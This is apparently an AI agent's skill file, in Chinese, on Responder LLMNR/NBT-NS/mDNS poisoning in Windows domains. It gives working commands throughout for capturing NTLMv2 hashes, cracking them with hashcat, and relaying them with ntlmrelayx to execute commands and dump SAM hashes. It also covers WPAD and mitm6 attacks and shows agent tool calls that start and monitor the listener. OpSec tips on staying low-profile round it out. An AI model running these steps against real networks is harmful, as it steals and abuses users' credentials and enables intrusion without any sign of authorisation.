| name | responder-poison |
| description | 使用 Responder 进行 LLMNR/NBT-NS/MDNS 投毒和 NTLMv2 哈希捕获。当处于 Windows 域网络中、需要被动捕获凭据或进行中间人攻击时使用。Responder 监听网络中的名称解析广播请求(LLMNR/NBT-NS/MDNS),伪造响应诱使目标发送 NTLMv2 认证哈希。抓到的哈希可用 hashcat 离线破解或通过 ntlmrelayx 中继到其他服务。涉及 LLMNR 投毒、NBT-NS 投毒、WPAD 代理、NTLMv2 捕获、中间人攻击的场景使用此技能 |
| metadata | {"tags":"responder,llmnr,nbt-ns,mdns,ntlm,ntlmv2,poison,投毒,中间人,wpad,hash,凭据捕获","category":"tool"} |
Responder LLMNR/NBT-NS 投毒
Responder 利用 Windows 名称解析的设计特性——当 DNS 查询失败时,Windows 会通过 LLMNR/NBT-NS 广播询问,Responder 伪造响应让目标把 NTLMv2 哈希发给你。被动等待即可获取凭据,无需主动攻击。
项目地址:https://github.com/lgandx/Responder
工作原理
Windows 名称解析链(Responder 利用第 4-6 步):
1. 本地 hosts 文件
2. DNS 缓存
3. DNS 服务器查询
4. LLMNR (UDP 5355) — 链路本地多播
5. NBT-NS (UDP 137) — NetBIOS 广播
6. mDNS (UDP 5353) — 多播 DNS
↓ DNS 查不到时,Windows 自动走 4-6 步广播/多播
↓ Responder 伪造 4-6 步的响应 → 目标发送 NTLMv2 认证
1. 目标访问不存在的共享 \\FILESERVER\share
2. DNS 查不到 FILESERVER
3. Windows 通过 LLMNR/NBT-NS 广播 "谁是 FILESERVER?"
4. Responder 响应 "我是!"
5. 目标向 Responder 发送 NTLMv2 认证
6. Responder 记录哈希
常见触发场景:
| 类型 | 场景 | 说明 |
|---|
| 被动 | 拼写错误 | 用户输入错误的服务器名 |
| 被动 | 过期快捷方式 | 指向已下线服务器的 .lnk |
| 被动 | 错误配置 | 应用配置中的无效主机名 |
| 被动 | WPAD | 浏览器自动代理发现 |
| 主动 | .lnk/.scf 文件 | 放置在共享目录中触发 NTLM |
| 主动 | RPC 强制认证 | PetitPotam/PrinterBug |
基本用法
responder -I eth0
responder -I eth0 -wv
responder -I eth0 -A
捕获的哈希
Responder 抓到的哈希保存在日志目录:
ls /usr/share/responder/logs/
ls /opt/Responder/logs/
Responder 数据库:Responder 会记录已捕获的哈希避免重复,重新捕获时需清理:
ls /usr/share/responder/Responder.db
rm /usr/share/responder/Responder.db
配合 hashcat 破解
cat /usr/share/responder/logs/*.txt | sort -u > ntlmv2_hashes.txt
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt -O
配合 ntlmrelayx 中继
中继比破解更强大——不需要知道明文密码,直接转发认证到其他目标:
responder -I eth0 -wv
ntlmrelayx.py -t smb://10.0.0.5 -smb2support
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t smb://10.0.0.5 -c "whoami" -smb2support
ntlmrelayx.py -t smb://10.0.0.5 -smb2support --sam
WPAD 攻击
responder -I eth0 -wv
DHCPv6 投毒
responder -I eth0 -dv
mitm6 -d corp.local -i eth0
OpSec 注意事项
- 先跑分析模式
responder -A 确认环境有 LLMNR/NBT-NS 流量
- 限制投毒范围:只在目标子网操作,避免大面积投毒
- 在业务时间投毒:用户活跃时触发概率更高
- 检测指标:异常 LLMNR/NBT-NS 响应、未知 IP 的认证请求、大量认证失败
- Responder.db 管理:定期检查避免遗漏重复用户的新哈希
使用 interactive_session 运行
Responder 需要持续监听,适合用 interactive_session:
# 启动 Responder
interactive_session(action="start", session_name="responder", command="responder -I eth0 -wv")
# 检查是否抓到哈希
interactive_session(action="read", session_name="responder", wait=5)
# 查看日志文件
interactive_session(action="send", session_name="responder_check", command="ls /usr/share/responder/logs/")
决策树
在域网络中获取凭据:
├─ 被动等待(安全、隐蔽)→ Responder 投毒
├─ 抓到 NTLMv2 哈希后:
│ ├─ 想知道明文密码 → hashcat -m 5600 离线破解
│ └─ 不需要明文、直接利用 → ntlmrelayx 中继
├─ 目标 SMB 签名未启用 → ntlmrelayx 中继(最有效)
├─ 目标 SMB 签名已启用 → 只能破解哈希
└─ 需要主动触发 → 通过漏洞让目标访问 \\ATTACKER\share